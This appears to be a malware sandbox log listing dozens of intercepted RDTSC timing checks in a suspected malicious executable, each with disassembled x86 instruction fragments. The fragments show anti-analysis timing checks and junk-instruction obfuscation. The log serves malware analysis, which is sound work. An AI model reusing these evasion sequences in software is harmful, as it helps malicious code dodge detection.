Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2AD6F5 second address: 2AD711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5DA4DA2F61h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2AD711 second address: 2AD732 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4981DB7h 0x00000007 jng 00007F5DA4981DA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2AD732 second address: 2AD753 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F5DA4DA2F68h 0x00000008 pop edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2AD8BC second address: 2AD8C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2AD8C4 second address: 2AD8DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2AD8DB second address: 2AD91E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4981DABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007F5DA4981DB4h 0x00000010 push edi 0x00000011 pop edi 0x00000012 jmp 00007F5DA4981DB8h 0x00000017 popad 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2ADD3E second address: 2ADD44 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2ADD44 second address: 2ADD4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2AE011 second address: 2AE02B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F5DA4DA2F64h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2AFEC5 second address: 2AFECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2B08B6 second address: 2B08CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F5DA4DA2F5Ch 0x00000011 js 00007F5DA4DA2F56h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2B0CEA second address: 2B0CF0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2B12A7 second address: 2B12AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2B255F second address: 2B25C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4981DB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F5DA4981DA8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 xor esi, dword ptr [ebp+122D3938h] 0x0000002c push 00000000h 0x0000002e jmp 00007F5DA4981DB2h 0x00000033 push 00000000h 0x00000035 mov dword ptr [ebp+122D219Eh], edi 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2B25C0 second address: 2B25C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2B25C4 second address: 2B25CE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5DA4981DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 26E918 second address: 26E91C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2B6119 second address: 2B6168 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov esi, dword ptr [ebp+1244B4E8h] 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F5DA4981DA8h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d adc di, 3ECCh 0x00000032 push 00000000h 0x00000034 mov dword ptr [ebp+122D1DBCh], edi 0x0000003a xchg eax, ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d jp 00007F5DA4981DACh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2B6168 second address: 2B6187 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5DA4DA2F5Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F5DA4DA2F5Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2B6187 second address: 2B6198 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA4981DADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2B69F9 second address: 2B69FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2B76A3 second address: 2B770F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5DA4981DACh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 sub dword ptr [ebp+122D3798h], esi 0x00000016 push 00000000h 0x00000018 mov dword ptr [ebp+122D29D2h], edi 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007F5DA4981DA8h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 00000019h 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a xor dword ptr [ebp+122D1DA6h], esi 0x00000040 xchg eax, ebx 0x00000041 jnc 00007F5DA4981DB2h 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c jns 00007F5DA4981DA6h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2B770F second address: 2B7713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2B7713 second address: 2B7719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BDA61 second address: 2BDAFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F5DA4DA2F61h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 jg 00007F5DA4DA2F56h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007F5DA4DA2F58h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 jmp 00007F5DA4DA2F5Dh 0x00000039 xor dword ptr [ebp+122D215Fh], eax 0x0000003f push 00000000h 0x00000041 mov ebx, dword ptr [ebp+122D35A7h] 0x00000047 xchg eax, esi 0x00000048 jmp 00007F5DA4DA2F69h 0x0000004d push eax 0x0000004e pushad 0x0000004f push eax 0x00000050 jns 00007F5DA4DA2F56h 0x00000056 pop eax 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007F5DA4DA2F62h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BEAF5 second address: 2BEAFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BEAFA second address: 2BEB0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F5DA4DA2F56h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C2D3E second address: 2C2DA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F5DA4981DA8h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 call 00007F5DA4981DB7h 0x00000028 pop ebx 0x00000029 push 00000000h 0x0000002b or dword ptr [ebp+1244958Ah], edx 0x00000031 push 00000000h 0x00000033 xchg eax, esi 0x00000034 jmp 00007F5DA4981DB8h 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push edx 0x0000003d jo 00007F5DA4981DA6h 0x00000043 pop edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C2DA9 second address: 2C2DAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C2DAF second address: 2C2DB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BCBAF second address: 2BCBBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA4DA2F5Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BDBFC second address: 2BDC8B instructions: 0x00000000 rdtsc 0x00000002 je 00007F5DA4981DB0h 0x00000008 jmp 00007F5DA4981DAAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 pushad 0x00000013 pushad 0x00000014 and eax, 0E20AD51h 0x0000001a mov dh, bl 0x0000001c popad 0x0000001d or cx, 9AD1h 0x00000022 popad 0x00000023 push dword ptr fs:[00000000h] 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d call 00007F5DA4981DA8h 0x00000032 pop edi 0x00000033 mov dword ptr [esp+04h], edi 0x00000037 add dword ptr [esp+04h], 00000019h 0x0000003f inc edi 0x00000040 push edi 0x00000041 ret 0x00000042 pop edi 0x00000043 ret 0x00000044 push eax 0x00000045 call 00007F5DA4981DB0h 0x0000004a mov edi, ecx 0x0000004c pop edi 0x0000004d pop ebx 0x0000004e mov dword ptr fs:[00000000h], esp 0x00000055 mov ebx, dword ptr [ebp+122D30BDh] 0x0000005b mov eax, dword ptr [ebp+122D0D5Dh] 0x00000061 mov dword ptr [ebp+122D28A0h], eax 0x00000067 and edi, 1597090Dh 0x0000006d push FFFFFFFFh 0x0000006f mov bx, cx 0x00000072 push eax 0x00000073 push ebx 0x00000074 push eax 0x00000075 push edx 0x00000076 push ecx 0x00000077 pop ecx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BED49 second address: 2BED53 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5DA4DA2F56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C1F65 second address: 2C1F75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4981DACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C2F4C second address: 2C2F6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F5DA4DA2F56h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C0DC9 second address: 2C0E4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4981DADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edi, dword ptr [ebp+122D3ADCh] 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov dword ptr [ebp+1244B4E8h], edx 0x0000001f pushad 0x00000020 mov dword ptr [ebp+122D373Ch], ebx 0x00000026 sub dword ptr [ebp+122D1C61h], eax 0x0000002c popad 0x0000002d mov dword ptr fs:[00000000h], esp 0x00000034 mov edi, dword ptr [ebp+122D2633h] 0x0000003a mov eax, dword ptr [ebp+122D07F1h] 0x00000040 push 00000000h 0x00000042 push eax 0x00000043 call 00007F5DA4981DA8h 0x00000048 pop eax 0x00000049 mov dword ptr [esp+04h], eax 0x0000004d add dword ptr [esp+04h], 0000001Bh 0x00000055 inc eax 0x00000056 push eax 0x00000057 ret 0x00000058 pop eax 0x00000059 ret 0x0000005a mov di, A43Ah 0x0000005e mov bx, si 0x00000061 push FFFFFFFFh 0x00000063 mov edi, dword ptr [ebp+122D28C1h] 0x00000069 nop 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d pushad 0x0000006e popad 0x0000006f pop eax 0x00000070 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C3DE9 second address: 2C3DED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BED53 second address: 2BED5D instructions: 0x00000000 rdtsc 0x00000002 js 00007F5DA4981DACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C2F6A second address: 2C2F81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C1F75 second address: 2C201B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F5DA4981DA6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 add dword ptr [ebp+1244958Ah], ebx 0x00000017 push dword ptr fs:[00000000h] 0x0000001e add bx, 47E6h 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a push 00000000h 0x0000002c push esi 0x0000002d call 00007F5DA4981DA8h 0x00000032 pop esi 0x00000033 mov dword ptr [esp+04h], esi 0x00000037 add dword ptr [esp+04h], 00000017h 0x0000003f inc esi 0x00000040 push esi 0x00000041 ret 0x00000042 pop esi 0x00000043 ret 0x00000044 jmp 00007F5DA4981DB6h 0x00000049 mov edi, 618F4CE2h 0x0000004e mov eax, dword ptr [ebp+122D0025h] 0x00000054 jmp 00007F5DA4981DAFh 0x00000059 push FFFFFFFFh 0x0000005b push 00000000h 0x0000005d push ebx 0x0000005e call 00007F5DA4981DA8h 0x00000063 pop ebx 0x00000064 mov dword ptr [esp+04h], ebx 0x00000068 add dword ptr [esp+04h], 0000001Bh 0x00000070 inc ebx 0x00000071 push ebx 0x00000072 ret 0x00000073 pop ebx 0x00000074 ret 0x00000075 nop 0x00000076 push eax 0x00000077 push edx 0x00000078 pushad 0x00000079 pushad 0x0000007a popad 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C0E4A second address: 2C0E4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BED5D second address: 2BED6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C201B second address: 2C2020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C0E4F second address: 2C0E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C3EC4 second address: 2C3EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BED6A second address: 2BED74 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5DA4981DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C2020 second address: 2C2032 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007F5DA4DA2F56h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C4C9E second address: 2C4CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C7BA9 second address: 2C7BAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C7BAD second address: 2C7C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F5DA4981DA8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 push esi 0x00000023 mov edi, dword ptr [ebp+122D399Ch] 0x00000029 pop edi 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007F5DA4981DA8h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 00000017h 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 mov bh, 38h 0x00000048 sub dword ptr [ebp+1244958Ah], ebx 0x0000004e push 00000000h 0x00000050 or edi, dword ptr [ebp+122D1C34h] 0x00000056 xor dword ptr [ebp+122D1C46h], eax 0x0000005c push eax 0x0000005d pushad 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C9BC9 second address: 2C9C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F5DA4DA2F58h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 jmp 00007F5DA4DA2F5Dh 0x0000002a pushad 0x0000002b sbb di, 0E00h 0x00000030 mov dword ptr [ebp+122DB810h], esi 0x00000036 popad 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push ebx 0x0000003c call 00007F5DA4DA2F58h 0x00000041 pop ebx 0x00000042 mov dword ptr [esp+04h], ebx 0x00000046 add dword ptr [esp+04h], 0000001Dh 0x0000004e inc ebx 0x0000004f push ebx 0x00000050 ret 0x00000051 pop ebx 0x00000052 ret 0x00000053 clc 0x00000054 push 00000000h 0x00000056 mov dword ptr [ebp+1246CCCEh], edx 0x0000005c xchg eax, esi 0x0000005d push eax 0x0000005e push edx 0x0000005f push esi 0x00000060 push eax 0x00000061 pop eax 0x00000062 pop esi 0x00000063 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C9C47 second address: 2C9C5D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5DA4981DACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C8CA0 second address: 2C8CA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C9C5D second address: 2C9C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C8CA4 second address: 2C8CAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C8D75 second address: 2C8D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C8D7B second address: 2C8D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F5DA4DA2F56h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2CABF0 second address: 2CABF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2C9D99 second address: 2C9D9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2CBC88 second address: 2CBC8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2CBC8E second address: 2CBC92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2CADAB second address: 2CADB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2CADB1 second address: 2CADB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2CADB8 second address: 2CAE39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a sub ebx, 0B1B7A94h 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F5DA4981DA8h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 mov bh, 79h 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a mov dword ptr [ebp+12449D88h], ebx 0x00000040 mov eax, dword ptr [ebp+122D16F5h] 0x00000046 push 00000000h 0x00000048 push edx 0x00000049 call 00007F5DA4981DA8h 0x0000004e pop edx 0x0000004f mov dword ptr [esp+04h], edx 0x00000053 add dword ptr [esp+04h], 00000014h 0x0000005b inc edx 0x0000005c push edx 0x0000005d ret 0x0000005e pop edx 0x0000005f ret 0x00000060 jng 00007F5DA4981DACh 0x00000066 mov edi, dword ptr [ebp+122D29EEh] 0x0000006c push FFFFFFFFh 0x0000006e mov bh, ah 0x00000070 nop 0x00000071 push eax 0x00000072 push edx 0x00000073 push ecx 0x00000074 push ebx 0x00000075 pop ebx 0x00000076 pop ecx 0x00000077 rdtsc
